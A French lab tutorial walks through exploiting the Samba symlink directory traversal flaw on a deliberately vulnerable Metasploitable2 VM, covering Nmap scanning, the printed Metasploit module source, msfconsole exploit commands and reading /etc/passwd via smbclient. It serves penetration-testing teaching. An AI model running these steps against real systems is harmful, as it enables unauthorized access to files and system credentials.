Exploiter une vulnérabilité Samba sur Metasploitable2 avec Nmap

NmapBeginner
Pratiquer maintenant

Introduction

Dans ce laboratoire, vous apprendrez à exploiter une nouvelle vulnérabilité Samba sur la machine cible Metasploitable2. Tout au long du processus, des captures d'écran vous seront fournies pour chaque étape. En terminant ce laboratoire, vous aurez une expérience pratique de l'utilisation d'outils pour exploiter la vulnérabilité Samba.

Ce cours est un tutoriel expérimental purement pratique. Pour vous aider à comprendre les opérations de l'expérience, certaines théories en sécurité informatique seront présentées, et les articles les plus intéressants seront recommandés pour que vous puissiez les lire tout en pratiquant.

Démarrer l'environnement d'expérience

Dans cette étape, vous allez démarrer la machine d'attaque (conteneur Kali Linux) et la machine cible (machine virtuelle Metasploitable2) pour l'expérience.

  1. Ouvrez un terminal xfce sur la machine hôte LabEx et démarrez la cible Metasploitable2 en exécutant la commande suivante :
sudo virsh start Metasploitable2

Attendez que la machine cible démarre, cela peut prendre de 1 à 3 minutes.

  1. Testez la connectivité à la machine cible en l'envoyant des paquets ICMP (ping) :
ping 192.168.122.102

Appuyez sur Ctrl+C pour arrêter le ping.

  1. Lancez le conteneur Kali Linux et entrez dans l'environnement bash en exécutant :
docker run -ti --network host b5b709a49cd5 bash
  1. À l'intérieur du conteneur Kali, testez la connexion réseau à la machine cible :
ping 192.168.122.102

Appuyez sur Ctrl+C pour arrêter le ping.

Maintenant, la machine d'attaque et la machine cible sont en cours d'exécution, et vous pouvez commencer le test de pénétration.

Remarque : Si vous quittez accidentellement le bash actuel, le conteneur Kali s'arrêtera automatiquement. Vous pouvez exécuter docker run -ti --network host b5b709a49cd5 bash à nouveau sur l'hôte pour démarrer un nouveau conteneur Kali et entrer dans le bash pour continuer l'expérience.

Scanner l'hôte cible pour détecter les vulnérabilités

Dans cette étape, vous utiliserez Nmap pour scanner l'hôte cible à la recherche de vulnérabilités.

Tout d'abord, connectez-vous au terminal MSF dans l'environnement Kali de LabEx :

cd ~
service postgresql start
msfdb init
msfconsole

La collecte d'informations sur l'hôte cible est la première étape du test de pénétration. Utilisez Nmap pour scanner l'hôte cible à la recherche de vulnérabilités et enregistrez les résultats du scan dans le fichier /tmp/report.txt en entrant la commande suivante :

nmap -p 1-1000 -T4 -A -v 192.168.122.102 > /tmp/report.txt

Les paramètres utilisés ici ont les significations suivantes :

Paramètre Description
-p Spécifie la plage de ports à scanner
-T4 Définit la stratégie de temporisation pour le scan Nmap, avec des valeurs de 0 à 5 (plus la valeur est élevée, plus le scan est rapide)
-A Active la détection du système d'exploitation et la détection de la version
-v Affiche des informations détaillées pendant le processus de scan
>/tmp/report.txt Redirige la sortie vers un fichier pour une analyse ultérieure

Ce processus peut prendre un certain temps car une large plage de ports est scannée pour une collecte d'informations complète. Veuillez patienter une à deux minutes.

Une fois le scan terminé, appuyez sur Ctrl+D puis utilisez la commande cat pour afficher le contenu du fichier dans le terminal Kali de LabEx :

cat /tmp/report.txt

Vous devriez voir des informations similaires à ce qui suit dans le texte :

139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

Cela indique que les ports 139 et 445 exécutent le service Samba.

Analyser la vulnérabilité Samba

Dans cette étape, vous allez apprendre à connaître la vulnérabilité Samba et analyser le code central du module d'exploitation.

Samba est un logiciel libre qui permet aux systèmes d'exploitation de type UNIX de se connecter au protocole réseau SMB/CIFS (Server Message Block/Common Internet File System) utilisé par Microsoft Windows. La version 3 permet non seulement d'accéder et de partager des dossiers et imprimantes SMB, mais peut également s'intégrer dans un domaine Windows Server en tant que contrôleur de domaine ou rejoindre un Active Directory en tant que membre. En termes plus simples, ce logiciel comble le fossé entre Windows et les systèmes d'exploitation de type UNIX, permettant le partage de ressources entre les deux.

Samba a une large gamme d'applications, et par conséquent, les vulnérabilités de Samba peuvent avoir un impact significatif. Samba peut créer des partages réseau pour des répertoires Unix sélectionnés (y compris tous les sous-répertoires). Cette fonctionnalité permet aux utilisateurs Windows d'accéder à ces répertoires Unix sur le réseau, tout comme s'ils accédaient à des dossiers Windows normaux.

L'index de vulnérabilité utilisé dans cette expérience est :

OSVDB-62145

L'index du code source du module Samba utilisé dans cette expérience est :

symlink_traversal.rb

Passons à l'explication du code central :

  ## Module initialization information, including author information and module introduction
  def initialize
    super(
      'Name'        => 'Samba Symlink Directory Traversal',
      'Description' => %Q{
        This module exploits a directory traversal flaw in the Samba
      CIFS server. To exploit this flaw, a writeable share must be specified.
      The newly created directory will link to the root filesystem.
      },
      'Author'      =>
        [
          'kcope', ## http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
          'hdm'    ## metasploit module
        ],
      'References'  =>
        [
          ['OSVDB', '62145'],
          ['URL', 'http://www.samba.org/samba/news/symlink_attack.html']
        ],
      'License'     => MSF_LICENSE
    )

    ## Register option information
    register_options([
      OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
      OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
    ], self.class)

  end


  ## Main execution function
  def run

    ## Function to connect to the server
    print_status("Connecting to the server...")
    connect()
    smb_login()

    ## Connect to the target host
    print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
    self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")

    ## Attempt to enter the root filesystem
    print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
    self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)

    ## Print success message after successful entry
    print_status("Now access the following share to browse the root filesystem:")
    print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
    print_line("")
  end

end

Après avoir expliqué le code central du module, effectuons l'exploitation réelle dans le terminal MSF en entrant les commandes suivantes :

search samba
use auxiliary/admin/smb/samba_symlink_traversal
show options

Définissez l'hôte cible :

set RHOST 192.168.122.102

Sélectionnez le répertoire partagé :

set SMBSHARE tmp

Remarque : Rappelons que l'impact de cette vulnérabilité Samba est qu'elle permet de créer des partages réseau pour des répertoires Unix sélectionnés (y compris tous les sous-répertoires).

Après avoir défini tous les paramètres requis, vous pouvez procéder à l'exploitation de la vulnérabilité :

exploit

En cas de succès, vous devriez voir le message suivant :

[*] 192.168.122.102:445 - Now access the following share to browse the root filesystem:

Après une exploitation réussie, quittez avec la commande exit, puis testez si vous pouvez vous connecter en utilisant smbclient dans le terminal. Vous serez invité à saisir un mot de passe, mais vous pouvez appuyer sur Entrée sans saisir de mot de passe :

exit
smbclient //192.168.122.102/tmp

Une fois connecté, vous pouvez vérifier l'accès au système de fichiers racine en exécutant la commande suivante :

more rootfs/etc/passwd

Vous devriez voir une sortie similaire à :

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
[....]

Cela confirme que vous avez exploité avec succès la vulnérabilité et obtenu l'accès à l'hôte cible via le partage réseau créé.

Appuyez sur Ctrl+D pour quitter la console Metasploit, puis commencez l'inspection

Résumé

Dans ce laboratoire, vous avez appris à connaître la vulnérabilité Samba dans Metasploitable2 et vous avez été guidé tout au long du processus d'exploitation de cette vulnérabilité sur la machine cible en utilisant les étapes originales. Vous avez ensuite utilisé le partage réseau créé pour vous connecter à l'hôte cible compromis. Les points clés abordés dans ce laboratoire sont les suivants :

  • Commandes de base Linux
  • Scan de vulnérabilités avec Nmap
  • Analyse de la vulnérabilité Samba détectée
  • Explication du code central du module symlink_traversal
  • Connexion à l'hôte cible via le partage de fichiers réseau

Il est recommandé de répéter ces étapes plusieurs fois pour renforcer votre compréhension du processus de test de pénétration. La section des lectures recommandées fournit des ressources supplémentaires pour approfondir vos connaissances sur les vulnérabilités Samba.